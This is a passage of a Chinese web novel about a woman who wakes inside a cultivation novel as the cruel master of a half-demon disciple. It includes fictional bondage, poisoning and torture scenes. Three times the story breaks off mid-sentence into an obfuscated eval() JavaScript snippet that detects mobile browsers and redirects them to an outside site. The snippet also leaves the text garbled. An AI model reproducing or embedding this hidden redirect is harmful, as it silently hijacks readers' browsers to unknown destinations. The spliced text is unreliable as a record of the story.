《穿书成病娇反派的恶毒师尊》 1. 半妖少年 凌晨两点的月光薄薄地铺在窗棂上,陆霜序只觉得眼皮沉重得像灌了铅。 她眨了眨眼,再睁开时,贴满便利贴的办公桌,喝了一半的咖啡,快写到结尾的ppt,统统消失不见了。 取而代之的,是一面铜镜。 镜中映出一张陌生的脸, 柳眉杏眼,唇若点樱,端的是副好皮相。 只是眉间微蹙,颧骨略高,瞧着便是个刻薄寡恩的相貌,偏唇又生得单薄,隐隐透着短命的征兆。 她坐在梳妆台前,手指触到冰凉的木质台面,才惊觉这一切不是梦。 四下里是古色古香的陈设,雕花窗棂外月色如霜,帐幔低垂,熏笼里还燃着不知名的幽香。 正惶惑间,一段记忆如潮水般涌入脑海。 是她前不久追更的小说《逍遥》。 只不过此刻的她不再是以读者的上帝视角,而是作为书中的一个角色去参与。 《逍遥》的故事说来简单。 修仙世界里人妖对立,势同水火,里面总共有四个主要角色。 女主江拂雪与男主沈寂川一同拜入仙门,心怀苍生,历经磨难促成人妖两族和解,天下归宁。 第三个是人气最高的反派殷焕生。 半妖少年自出生起便为世间所不容,被抛弃,被欺辱,一路踩着尸山血海走到巅峰,遇神杀神,遇佛杀佛。 虽最终败于男女主之手,他那美强惨的过往却让无数读者又恨又怜,热度几度盖过了主角。 而她穿的角色就是第四位主要角色,陆霜序,与她同名同姓的恶毒女配。 名头响亮,万剑宗十二仙尊之一。可说到底,就是个工具人。 她与男女主师出同门,自小便对沈寂川情根深种。 只可惜落花有意,流水无情,那位师兄的眼里心里,从来都只有江拂雪一个。 原主屡次勾引男主不成,陷害女主又败露,反倒落得个万人唾骂的境地。 一气之下,她买来那个世人皆不容但天资卓越的半妖少年,收为弟子,日日欺辱,抢夺修为,妄图有朝一日打败女主,强占男主。 当然这宏伟大愿还没实现,她就被殷焕生先折磨死了。 当时看书看到这里,陆霜序就眼皮直跳。 不为别的,就为这恶毒女配竟与她同名同姓。 果不其然,真穿书了。 她捂住额头,懊悔得恨不得穿越回去把那个不改名的自己掐死。 【系统:恭喜宿主绑定恶毒女配系统,因原主意外身亡,您将获得一次重生机会。只要保持人设走完剧情,让反派黑化值达到100%,由他将您杀死,您将获得新马甲一件……】 脑海中蓦然响起一阵机械音。 【系统:唉?等等?你去哪儿?】 陆霜序翻了个白眼,腾地站起来。 开玩笑。 让她当恶毒女配乖乖等死?门儿都没有。她现在就去抱男女主的大腿,什么系统不系统的,她才懒得理。 可等她推开房门,便被眼前的景象钉在了原地。 床上躺着一个人。 那是一个极其好看的少年,面容精致得近乎妖异。 他被红绳缚在床上,四肢大张,绳结勒进皮肉,渗出的血珠将绳染成了暗红。他面色潮红,额上沁出细密的汗珠,胸膛起伏不定,呼吸间带着压抑的急促。 美丽,孱弱,俨然一副别有风味的春宫图。 那人眼睛落在她身上时,先是掠过一丝惊讶,随即冷了下来。 他分明被缚着,动弹不得,可那眼神却像是在看一个死人。 陆霜序读懂了他眼底的话:我早晚会把你千刀万剐。 她的脑子嗡了一声,随即有什么温热的东西从鼻子里流了出来。 她伸手一摸。 是血。 系统适时出声:【这位就是你的任务目标殷焕生,现在的剧情是他身中合欢宗的席春丝,按照原著剧情,你需要……】 陆霜序看着殷焕生这副模样,敏锐地意识到了自己身体的变化。 原主为了可持续性地竭泽而渔,给殷焕生下了合欢宗的席春丝,要以双修之法夺取他的修为。 而这席春丝是双向发作的,殷焕生产生情欲的时候,她也会。 顶多就是她的程度轻一些。 可再轻的情欲,她一个母单二十多年的人也受不了。 所以没等系统说完,她转身就跑了。 系统着急了,【宿主别跑了,要回去走剧情啊,这段剧情至少能上升2%的黑化值!】 它带了这么多任宿主,这是头一个既不害怕它,也不依赖它,完全无视它的宿主。 陆霜序身为十二仙尊之一,可以独占一峰摘星峰。 而摘星峰很大,冷风扑面而来,裹挟着山巅独有的清寒。夜风灌进肺里,冷得她直打哆嗦。 这份冷意,让她身体的某种悸动暂缓了。 终于,她一路跑到悬崖边上停下,扶着膝盖喘气。 系统感觉自己要疯了。 【系统:宿主,您冷静一下……】 “我很冷静。”陆霜序抹了一把鼻血,在崖边的石头上坐下,两条腿悬在半空晃荡。下方是万丈深渊,云雾翻涌,看不见底。 她确实很冷静。 冷静开始盘算自己的处境。 她穿来的时间太晚了。 骚扰男主、陷害女主、折磨反派,原主把这些事儿干了个遍,桩桩件件都够她死十回的。 也就是说,按照原剧情,她死定了。 那么,眼下只有一条路可走,按这个破烂系统说的办。 但是作为一枚被零零七压榨了整整一年的资深牛马,她不能就这么答应。 “工作时间怎么算?奖惩制度呢?加班费有没有?” 【系统:……啊?】 系统愣了好一会儿才反应过来,联想到这位宿主是加班猝死的,倒也能....理解。 【系统:需要保持人设走剧情,让反派黑化值达到100%,奖励会按剧情进度发放。】 “也就是说,工作时间不限,奖励还不明确。” 【系统:……好像是这样的。】 “老娘不干。” 【系统:那就只能送您回原世界。鉴于您在原世界已经……去世了,回去也是……】 陆霜序腾地站起来,拍了拍裙子上并不存在的灰尘,腰杆挺得笔直,脸上堆起一个标准的职场假笑:“好了,新同事,告诉我,需 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17477839|201586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要我做什么?” 系统沉默了一瞬,大约是还没适应宿主这翻脸比翻书还快的本事。 【系统:原剧情中,您打算强上反派,但最后因为嫌弃他半妖的身份,辱骂之后离开。】 “收到,保证完成任务。” 说完,陆霜序提着裙摆就往回跑。 可等她好不容易跑回来,推开那扇门,房间里已经空了。 床上只剩碎成渣的床板和断成数截的红绳,人却不知去向。 红绳的断口参差不齐,还滴着血,这不是解开的,是挣断的。 “人跑了,这怎么算?要不把他再抓回来,再下一次席春丝?” 系统被这位宿主的胆量惊得说不出话。 它可是清清楚楚地知道殷焕生是什么样的人。 那个半妖的手段之狠辣,之暴戾,之花样百出,让《逍遥》这本书几度被封杀。 读者们一边骂着“太变态了赶紧让反派死”,一边熬夜追更,在评论区瑟瑟发抖地喊“先别让殷哥死,先让殷哥杀了这个畜生再说”。 而它的宿主,一个刚穿书的社畜,在如此了解剧情的情况下,居然敢说出“再抓回来”这种话? 【系统:没……没关系的。殷焕生的黑化值已经从45%涨到50%了。嗯?不对,怎么比设定还多增加了3%?】 陆霜序一脸无所谓地在残缺的床上坐下,翘起二郎腿。 “这有什么好奇怪的。强上过程中放弃并辱骂,和直接看了一眼就跑路,显然后者更伤人。前者至少说明他还值得你费一番功夫,后者嘛...” 她摊了摊手,“看了就跑,这不是嫌他脏,就是嫌他恶心。殷焕生那个人,最恨的就是被人轻视,最受不了的就是被人当脏东西看。” 系统愣了好一会儿,语气里多了几分惊喜。 【系统:宿主,您好像很了解反派?那我们的任务一定会很顺利的!】 陆霜序没说话,只是笑了笑。 她当然了解。 作为一名追更了半年的读者,她很清楚这本书的每一个人。 殷焕生走的是黑深残的路子,尤其那病娇到令人骨子里发寒的性格。 世上人妖对立,他偏生是两者都不容的半妖,所以他最喜欢钓鱼执法。 露出半妖的身份,装柔弱,扮可怜,一副人畜无害的样子引得别人欺辱他。等对方以为自己占了便宜、得意忘形的时候,他再慢慢地、一点一点地把对方剥皮抽筋。 他对原主就是如此 陆霜序认真思考,“任务不难,就是要经历的死法太渗人了点。” 先被灌下污秽之物,而后剥皮抽筋,再一寸一寸地敲断骨头。扔进罐子里,让毒蛇和虫蚁在残破的身体上爬行、撕咬、产卵。偏还要让人清醒着,最后被折磨得半疯半残,扔下深渊,让恶兽一口一口吞噬灵魂,永生永世不得超生。 【系统:那你……是打算放弃?】 下一刻,陆霜序阳光满满,“但是没有关系只要完成任务,我一定能找到一份不用加班,没有压力的咸鱼工作。” 系统怔怔地看着她。 虽然这个宿主很奇怪,说话做事都透着一股被压榨疯了的牛马癫狂感,可不知为什么,它觉得她很靠谱。 2. 罚跪 翌日清晨,天光还未大亮。 陆霜序早早起了床。她穿着一身月白的中衣,在寝殿里伸胳膊抬腿,嘴里念念有词:“一二三四,二二三四,三二三四,再来一次。” 动作倒是标准得很。 系统在旁边沉默了很久,不知道说什么好。 自从它告诉宿主今日有剧情要走,这位宿主的反应就完全出乎它的预料。 没有焦虑,没有害怕,甚至没有一点点紧张,反而像打了鸡血一样亢奋,天没亮就爬起来做准备活动,一边压腿一边问它“今天这场戏大概要演多久?”“有没有加班的可能的”。 它感觉自己一个人工智能成了奴隶员工的恶毒老板,莫名其妙生出了一丝愧疚感。 今日的剧情是这样。 昨夜禁山镇压的妖兽突然暴动,男女主率领众弟子前去维护禁山法阵,殷焕生也是被召集的其中之一。 殷焕生作为半妖,对妖兽极为敏锐,所以在一只濒死妖兽腹中刨除一颗极为罕见的月魄珠。 月魄珠只在年岁极高的夜行兽中修的,是疗伤的圣物,而且有市无价。 围猎的规矩从来都是先拿到手的是主人。 可偏有几个同门看见了,认为一个低贱的半妖不配用这么好的东西,便拦路要夺。 事情闹大了。 自然要去请师尊陆霜序。 按正常人的逻辑,这时候应该护犊子。 可剧情不是这么走的。 陆霜序要当着满宗门的面,上去踹殷焕生一脚,然后说一句“你也配拿月魄珠”,把月魄珠夺走,再罚他跪上五个时辰。 果然,天才蒙蒙亮,报信的弟子就来了。 那弟子跑得气喘吁吁,刚在殿门外站稳,还没来得及开口,陆霜序已经蹿了出来,脸上写满了“终于等到了”的兴奋。 “在哪儿?带路!” 那弟子被她吓了一跳,话都说不利索了:“在...迷离幻林。” 话还没说完,陆霜序已经提着裙摆跑了出去。 迷离幻林是一片茂密的松林,而穿过迷离幻林就是万剑宗明令禁止任何人入内的禁山。 陆霜序赶到的时候,林中已经围了不少人。 那几名抢夺月魄珠的弟子低着头,畏畏缩缩地站在一旁。 捂着肚子纷纷喊疼,可身上却没有一丝伤口,让人看起来就觉得是装的。 而殷焕生一副要死的模样,扶着树勉强站着,还不断喘着粗气。 他身上的衣袍破了好几处,露出里面翻卷的伤口,血珠顺着指尖往下滴。 陆霜序一眼就看出来了,这人身上的伤,大半都是昨夜强行挣脱席春丝留下的,剩下大概就是砍杀妖兽留下的痕迹。 总之没有一个是因为打斗留下的。 平日里殷焕生最擅长扮柔弱,装可怜。 所以这次也一样,虽然以少敌多赢了,但他还一副受尽欺负的样子。 他这样子,即便众人知道他只是个卑贱半妖,也难免生出两份怜惜。 而殷焕生这么努力地要保住月魄珠,不只是因为是疗伤的圣物,还因为这是《逍遥》这本书一切故事的开端。 眼见咳血的殷焕生,陆霜序眼里没有丝毫怜惜,有的只有要完成任务的坚定。 她脚下发力,预备着冲过去踹人。 脚尖刚离地,系统的声音就炸开了。 【系统:等一下!宿主,前面是男女主,您得保持一下人设!不能直接冲过去!】 陆霜序的脚悬在半空,硬生生收了回来。 她定睛一看,果然,人群前方站着两个人。 男的身形修长,白衣如雪,腰间悬着一柄长剑,面容清俊温润,正是男主沈寂川。 女的一袭淡青色长裙,眉目如画,气质清冷出尘,是女主江拂雪。 两人并肩而立,正低声说着什么,周围弟子自动让出一圈空地,像是不敢靠近。 陆霜序反应过来。 她是恶毒女配来着,在男女主面前,得演一演。 她深吸一口气,调整了一下表情,走到两人面前时,她停下来,脸上挂起一个标准的微笑。 那笑容她练过无数次,既不会显得太假,也不会显得太亲热。她用这个笑容对付过无数甲方,成功率高达百分之八十。 “你好你好。”她对着江拂雪点了点头,语气亲切得像在打招呼,“我讨厌你。” 然后转向沈寂川,同样点了点头,笑容不变:“你好你好,我喜欢你。” 全场寂静。 风从林间穿过,松针簌簌落下。 几个弟子的嘴巴张得能塞进一个鸡蛋。 江拂雪和沈寂川像是被雷劈了似的,僵在原地一动不动。 似乎连远处树上的鸟都停了叫唤。 【系统:宿主!你好歹走点心呀!这也太敷衍了吧!】 陆霜序忍住翻白眼的冲动,在心里回了一句:“走什么心?你的剧情不就是让我表达讨厌女主、喜欢男主吗?” 【系统:虽然话是这么说,可意思好像不是那么个意思吧……】 “那这就是你的问题了。”陆霜序面不改色,“回去写个总结报告,查缺补漏,把任务要求写清楚。下次我就知道该怎么演了。” 【系统:……】 陆霜序不再理会系统,转身朝殷焕生走去。 晨光从松枝间漏下来,落在那人身上,将他半张脸照得明明暗暗。 他站在那里,衣袍破损,满身是血,却像一棵扎进石缝里的松,孤零零的,谁也拔不动。 她走近了些,能看清他脸上的伤。一道血痕从额角斜划到颧骨,已经结了薄薄的痂,边缘还在渗血。他的睫毛很长,垂着眼的时候在脸颊上投下一片阴影,看不出眼里的情绪。 她做了好久的心理建设。 可真正站到这个人面前的时候,她竟有些下不去脚。 突然殷焕生抬起头,对她温柔地笑了笑。 那笑立刻激起了陆霜序满身的鸡皮疙瘩,几乎是下意识,一脚踹了出去。 脚尖触到他腰侧的瞬间,她立刻反应过来,本能地收了几分力道。 可殷焕生还是倒下了。 他像是完全没有防备,被她这一脚踹得侧倒在地,手掌撑在青石地上,指尖微微发颤。一口鲜血从他嘴里涌出来,溅在石面上,殷红刺目。 周围响起一片倒吸冷气的声音。 “师妹,你这是做什么!”江拂雪的声音从身后传来,带着几分怒意,“此事分明是那几人寻衅在先,你怎可不分青红皂白就打人?” 沈寂川也皱起了眉,抬步要上前阻拦。 陆霜序没理他们。 她从殷焕生袖中摸出那颗月魄珠,随后冷着脸说,“跟我回去。 殷焕生没说话,他低着头,跟在她身后,一步一步往外走。血从他的衣摆滴落,在青石地上留下一串暗红的痕迹。 沈寂川还想跟上去,却被江拂雪拉住了。 江拂雪摇了摇头,示意后山。 此时,后山里此起彼伏的惨叫声很不正常。 * 回到摘星殿,按照剧情,殷焕生要罚跪五个时辰。 摘星殿很大,空旷得有些冷清。 一阵冷风从门缝里钻进来,呜呜地响,在空荡荡的大殿里转了几个圈,卷起角落里积了一夜的寒气。 殷焕生跪在冰冷的白玉砖上。 他浑身是血,跪姿却一丝不苟。脊背挺得笔直,像一根绷紧的弦。 玄色的衣袍被血浸透了大半,已经看不出原 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17477840|201586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本的质地,湿漉漉地贴在身上。 陆霜序坐在上首的椅子上,手指搭着扶手,指尖不自觉地轻轻敲击。 她面上没什么表情,心里却在悄悄问系统:“可以让他起来了吗?” 【系统:宿主,我知道您愧疚,但剧情必须走完,要跪够五个时辰。】 陆霜序面无表情地在心里算了一笔账:“不是愧疚的问题,五个时辰就是十个小时,他在这跪着,我就要看着。我想下班啊,毕竟加班费你又不给。” 【系统:……】 它沉默了好一会儿,才又开口,语气里带了几分小心翼翼。 【那宿主,你真的不会愧疚吗?我看你刚才踹他的时候收了好多力,你其实是不忍心的吧。我本来以为您会不习惯,还想给你安排一点心理治疗什么的……】 陆霜序在心里一条一条数,“殷焕生要那样那样杀我。再那样那样杀我,最后再那样那样杀我。想一想就不愧疚了,还想再踹他两脚。” 【系统:……好吧。】 她等啊等,等得屁股都坐麻了,终于等到系统说时辰到了。 她几乎是弹起来的,从椅子上跳下来,差点没站稳。 “回去反省吧,惹我心烦。” 底下的人动了。 殷焕生慢慢抬起头来。 那张脸上全是血污,俊美的轮廓几乎被遮住。 那双眼睛很黑,目光落在她身上,极轻极淡,像是在看一片叶子,或者一粒尘埃。轻到让人觉得,她这个人,根本就不存在。 “惹师尊生气,是徒儿的不是。” 他扯着还在滴血的脸,笑了一下。眉眼弯弯的,像一个乖巧懂事的孩子在跟长辈认错。 那笑容很好看,好看得让人心里发毛。 他撑着地,慢慢站起来。 空荡的大殿里,能听见骨头轻微的碎裂声。 那是膝盖骨的声音。 可他像是听不见那声音,也感觉不到那疼。脸上甚至还挂着那个笑,就那么直直地站了起来。腰没有弯,背没有驼,站起来的姿态和跪着时一样笔直。 血从他的伤口里涌出来,沿着衣摆往下。 陆霜序攥紧了袖口,她的指尖掐进掌心,微微的刺痛让她保持着面上的冷漠。 她深吸一口气,坐了回去。 看到殷焕生这模样,说没有触动是假的,可她很快就把这个念头压了下去。 * 夜凉如水,四下里已是一片沉沉的暗。 殷焕生独自走在山道上,每一步都踩在自己的血里。 他瞧着月光下,自己鲜血的颜色,笑了笑。 这颜色最好看。 比如今天同他打架那几个师兄,现在应该已经开始发作了。 那毒不会立刻毒死人,而是先让人痛,痛到发疯,自残,痛到想要了结自己的性命。 他们会在地上打滚,会撕扯自己的皮肉,会哭着喊着求人杀了他们。 一想到明天就能看到那几个人惨死的模样,殷焕生心情便好极了。 只是...他低下头,看见了自己手腕上的伤。 昨夜里为了挣脱那些束缚,他的身上尽是这些伤口。 陆霜序。 想起这个人,他的笑又收敛了。 那个人好像不一样了。 想她踹自己那一脚时的情形。 看着是下狠手,但其实很轻,而且眼睛露出了慌乱和愧疚。 尤其是让他罚跪时,更明显,眼里居然是心疼和不忍。 残忍的陆霜序,居然还会有这样的表情? 陆霜序。 他在心里又念了一遍这个名字。 他一定要这个人经受世间最痛苦的折磨,让她发自内心后悔曾来到这世上。 3. 殷焕生快死了 夜色深沉,陆霜序急急忙忙赶回殿里。 之前那床被殷焕生毁了,她又找了旧床,虽然挺小,但她也不嫌弃,美滋滋地蜷进软被里。 她对自己的下班时间坐了详细的计划表,睡觉,全是睡觉。 天塌下来,也别想扰她。 她是孤儿出身,因为无依无靠,能靠的就只有自己,为了出人头地,她把自己逼得很狠。 全年无休是常态,唯一的娱乐就是忙里偷闲看几本小说,其余时间不是在上班,就是在上班的路上。 结果到头来,大好年华还未好好享受,便就猝死在工位上了。 重活一次,她算是彻底想通了,出人头地固然重要,可那也要有命享受。 好好活着,善待自己,才是最要紧的事。 她现在就要把自己熬夜加班缺少的觉,一次性全补回来。 可她刚睡不久,门外便传来急促的叩门声,笃笃声响在寂静夜里格外刺耳。 无人应答,敲门声却丝毫不停,反倒愈发急切。 系统犹豫半晌,小心翼翼出声:【宿主,要不还是去看看?】 陆霜序埋在软枕里,声音恼怒:“让他们都滚,想让我加班,门都没有。” 【……好吧。】 她翻了个身,将被子裹在头上想隔绝那吵人的声音。 身侧忽然掠过一阵刺骨冷风,寒意顺着被褥缝隙钻进来,激得她肌肤一紧。 一道青衫身影悄无声息坐在床边,月色从窗棂漏进来,洒在那人脸上,衬得肤色惨白如纸,恍若深夜来讨人命的恶鬼。 陆霜序心头一紧,猛地抬眼,撞进一双清冷眼眸,吓得慌忙往后缩。 手腕却猝不及防被一双冰凉刺骨的手攥住。 “师妹。” 温软嗓音在耳畔响起,陆霜序惊魂未定,定睛一看,才认出眼前人是这本小说的女主,江拂雪。 她心头咯噔一下,生出几分不耐。 大半夜的,这位女主跑来做什么? 敲门不开,还强闯进来? “你有事?”陆霜序语气算不上好。她抽了抽手,想挣脱江拂雪冰冷的手,可惜没成功。 江拂雪眉眼温软,语气却带着不容推脱的意味:“今日你的徒儿与同门起了争执,待你们走后,那些弟子竟接连身中奇毒,此刻正痛不欲生。” 陆霜序眼皮都懒得抬,满不在乎地应道:“哦,那你该去找殷焕生。” 她又没和那群人接触,关她什么事? 江拂雪轻轻摇头,笑意温婉,力道却不容反抗:“师妹,你身为师尊,早已不是懵懂孩童了。” 陆霜序还想争辩,可她的修为远不及江拂雪,被对方半扶半拽地强行拉起身,一路拖去了药房。 她满心抗拒,可在绝对的实力差距下却毫无还手之力,火气跟着蹭蹭往上冒。 她心里想,她一定要告诉殷焕生,这群人嫌弃他半妖的身份,不去找他,偏把她半夜来起来。 终于,来到了灯火通明的药房。 “抱歉,师妹,扰了你歇息。”江拂雪语气谦和,歉意深深。 陆霜序脸色极差,没好气地回:“知道打扰人就好。” 一旁身着医师服的梅香本就对她印象极差,见她这副散漫态度,当即忍不住冷嘲:“同是仙尊,怎得有人惹出祸事,反倒要旁人来收拾烂摊子。” 江拂雪立刻柔声劝阻:“梅香,不可对师妹无礼。” 陆霜序嗤笑一声,目光落在梅香身上,语气锋利,半点不客气:“你是这药房的医师?” 梅香抬着下巴,毫无怯意:“正是。几位弟子身中剧毒,我等束手无策,派人去请你,你却闭门不应,若不是江师尊,还不知要拖到何时。” 陆霜序忽然笑了,“你有什么证据,证明这些人中毒与我徒弟殷焕生有关?” 梅香一噎,讷讷道:“没、没有。” “那我是医师吗?要我来诊治中毒之人?” 梅香被问得哑口无言,气势弱了大半:“不是……” “也就是说,身为医师的你医术不精,解决不了麻烦,便拉着一群人来替你兜底,还大半夜把我从被窝里拽过来,是这个意思?” 梅香脸色一阵青一阵白,再也说不出话来。 陆霜序懒得再与她计较,人都被拖来了,再争执也是无用。 她寻着此起彼伏的凄厉惨叫走去,只见几张木床上横七竖八躺着四五名弟子,正是白日里与殷焕生动过手的那几人。 此刻他们早已没了往日仙门弟子的模样,浑身浴血,狰狞血痕从脸颊蔓延至脖颈,再顺着敞开的衣襟爬满胸膛。 而伤他们的不是旁人,竟是他们自己。 众人疯了一般用指甲狠狠抓挠着皮肉,不顾鲜血淋漓,不顾指缝嵌满碎肉,只一味地抓绕自己。 “疼……好疼……” “杀了我,求求你们杀了我!” 陆霜序扫了一眼,淡淡开口:“摘星峰上养着几样毒物,派人去找,毒应该就在那里。” 话音落下,周遭一片沉默。 以她素来恶劣的名声,自然没人愿意轻易听信。 大家把她喊来,也没想真的让她来解决问题。 江拂雪笑了笑,转头吩咐弟子速速前去。 不过两刻钟,几名弟子便捧着箩筐归来,里面装着数条毒蛇与几十只毒虫。 梅香上前逐一查验,忽然眼前一亮,立刻着手调配解药。 几碗滚烫汤药灌下,不过片刻,那些凄厉的惨叫便渐渐微弱下去,弟子们疯狂的动作也终于停了。 毒,解了。 梅香面色难看,站在一旁一言不发。 陆霜序见状,反倒来了兴致。 身为资深打工人,总结陈词,分锅,甩锅,是她几乎每日都在干的事情。 “你们既无本事解毒,又无证据污蔑我徒弟下毒,还强行把我从睡梦中拖来。现在我帮你们解决了麻烦,连一句道谢都没有?” 药房内鸦雀无声。 让众人向素来厌恶的陆霜序道谢,本就为难,更何况毒物出自摘星峰,反倒坐实了旁人心中的猜忌。 一片死寂里,终究是江拂雪出面打圆场:“多谢师妹,他们行事鲁莽,我定会好好教训。” 陆霜序冷哼一声,眉眼间满是嫌恶,“我最讨厌你,少和我搭话。” 之前表现出讨厌江拂雪,是系统 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17477841|201586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下达的任务,可此刻这讨厌是出自内心的。 不单是因为对方半夜把她强行拖起来,逼她加班。 更是因为她多年的直觉。 这人,绝对不是什么好人。 说完,她不再理会众人各异的神色,转身径直离去。 夜色浓重,两侧树影黑沉如墨。 系统这时才敢再次冒出来。 它知道它的宿主现在正在气头上,但它还是忍不住好奇。 【宿主,你怎会知道那些弟子会中毒,还知道解药在哪里?】 陆霜序一点也不想和系统搭话,索性就真不理了。 她一个穿书的人,当然没什么看病的本事,只是对这本《逍遥》太过了解。 这本书因为殷焕生手段狠戾,视人命如草芥,折磨人的手段层出不穷,几度被封禁整改。 最初的原版早已被锁得严严实实,看过的没有几个。 而她,恰好是其中之一。她追更半载,把殷焕生那阴鸷偏执的性子,摸得一清二楚。 殷焕生此人,天生睚眦必报,是个彻头彻尾的疯子。 你若踩他一脚,他面上或许不动声色,甚至能对你温和浅笑,转头便会让你付出灭顶的代价。 如果有人欺辱了他,他却迟迟没有报复,不用怀疑,他肯定酝酿更阴狠的计谋。 就像猫捉老鼠,从不会急着一口吞掉,而是先肆意玩弄,将对方的心智折磨殆尽。 而她能知道毒在哪,只是因为太懂殷焕的处境。 身处人妖势不两立的世道,他是半妖,从降生起便为天地所不容。 人族嫌他血统卑污,妖族恨他背弃同族,他在夹缝中苟活,活得如同阴沟里的老鼠。 童年在奴隶市场磋磨,连件货物都不配是,每日清扫茅厕、掩埋死尸,动辄被人殴打欺凌。 后来被原主买下,名为师徒,实则是个提供修为,可以随意打骂羞辱的畜生。 这般境遇下的殷焕生,他实力却低得可怜。 他想报复最有效的办法就是毒。 可他半妖身份卑贱,能自由活动的地方本就不多。 毒物,自然也只会在摘星峰。 系统见她不说话,明白她被加班弄得心情不爽,不敢再多说话。 可是系统面板突然发出了警告。 纠结了好半天,它还是硬着头皮开口了。 【那个……宿主辛苦,只是还有一件事。】 陆霜序眼前骤然浮现一块淡蓝色面板,上面罗列着几行数值。 最上方赫然是殷焕生的黑化值,此刻是50%。 而在黑化值下方,有一行生命值。 那串数字刺目得很。 1%? 陆霜序盯着那岌岌可危的数值,只觉得眼前一黑,仿佛看见了自己的加班通告。 系统的声音几乎要崩溃:【宿主,反派好像……快要死了。】 陆霜序沉默片刻,只觉得太阳穴突突直跳。 她在心里疯狂咆哮,面上却只淡淡吐出一句:“他不是反派吗?怎么会这么容易死。” 但她真正想问的是,她不是都已经加了一轮班,不会还要接着加班吧?! 4. 怪物的血 陆霜序沉默了。 她一动不动,眼睛盯着面前那块光屏上不断闪烁的数字,像是要把那行字盯出两个洞来。 【系统:宿主还是赶紧去看看吧,如果反派中途死了,也算是我们任务失败。】 系统小心翼翼地说完这句话,等了很久,没有得到任何回应。 它开始慌了,正准备再喊一声。 陆霜序忽然动了,她转身,抬脚,方向正是殷焕生的住处。 系统愣了一下,识趣地闭上嘴,不敢再多说一个字。 从药房到殷焕生的住处,很远。 殷焕生住在摘星峰另一头的一间屋子里。 说是屋子,其实就是堆杂物的柴房。 屋顶的瓦片缺了大半,雨天漏水,晴天漏风。屋角长满了青苔,一到夜里就是各种爬行动物的聚会。 陆霜序走到门口的时候,先闻到一股浓烈的血腥气。 等她抬脚迈过门槛,一脚踩进了一滩温热的液体里。 那液体湿滑黏腻,瞬间浸透了她的鞋面。 她低下头,月光从破败的屋顶漏进来,照亮了她脚边的东西。 那是一洼血。 暗红色的,在黑暗中泛着幽幽的光,像一面破碎的镜子。 无数细小的虫子和几只颜色鲜艳的蛇正趴在地上,贪婪地舔舐着地上的血水。 这妖异的场面堪比恐怖片现场。 陆霜序僵在原地。 随后发现,这只蛇好像就是那几个弟子中毒的根源。 那... 陆霜序直接蹲下身,拿出了原主的法器乾坤戒,从里面找了些能用的瓷瓶,趁机放了点毒在里面。 也好在,殷焕生的血对这帮毒蛇的吸引力太大,根本就懒得报复陆霜序。 【系统:宿主你?】 陆霜序无所谓回道:“防身,殷焕生整人的办法这么多,不学点,都亏。“ 【宿主...你真是和我遇到的宿主都不一样,学反派啊?】 “我一恶毒女配,不学反派,学谁?” 下一秒,她发现了不对。 她的衣裙和靴子在发烫。 那些血在动。 不是流淌的那种动,而是像有意识一样,顺着地势慢慢向她的脚边爬来。 她眼睁睁看着靴面上出现了一个小洞。 那个洞的边缘焦黑,像被火烧过,发出细微的滋滋声,冒出一缕白烟。 陆霜序当机立断,灵力从掌心涌出,化作无形的刀刃,沿着靴面划过。 她将那一片已经被血迹沾染的地方连同布料一起割了下来,扔到一边。 绕过地上那滩还在蠕动的血水,她往屋子深处走。 屋子很小,几步她就见到了人。 殷焕生躺在两块破木板上,也没盖什么东西,只是身下是堆干草。 木板被血浸透了,暗红色的液体顺着板缝往下滴,在地上汇成一小洼。 他闭着眼,一动不动。 陆霜序站在那里,看了他好几秒。 白日里她见过他满身是血的样子,可那时候他至少是站着的。 现在他躺着,像一具被丢弃的尸体。 他的脸色泛着不正常的红,嘴唇干裂,身上的伤口还在往外渗血。 天寒地冻的夜里,他就这么躺着,即便现在不死,也马上要死了。 陆霜序走过去,在他身边蹲下来。伸出手,轻轻落在他的额头上。 烫。 那不是正常的发热,是那种快要烧坏五脏六腑的烫。 她脱下自己的外袍,想要盖在他身上,手指触到他身侧的时候,却摸到了一片湿滑黏腻的东西。 她低头一看,满手的红。 然后,疼痛来了。 那痛不是普通的刺痛,是灼烧,是腐蚀,像是有人把她的手按进了滚油里。 她低头看去,掌心接触过血液的地方已经开始发红,皮肤表面冒出一层细密的水泡。 再抬头看那件月白色的披风,碰到血的地方已经开始冒烟。薄纱被腐蚀出一个个小洞,边缘焦黑,卷曲起来,发出一股刺鼻的气味。 和刚才的靴子和裙子一模一样。 她突然明白了。 殷焕生的血会腐蚀修仙者和仙物。 可书里从来没有写过这个。 她看过的所有版本,书里从来没有提过殷焕生的血有这样的特性。 她突然意识到,她以为对这个世界有绝对的了解,可其实不是,原著并非是这个世界的运行铁律,至少有一部分不是。 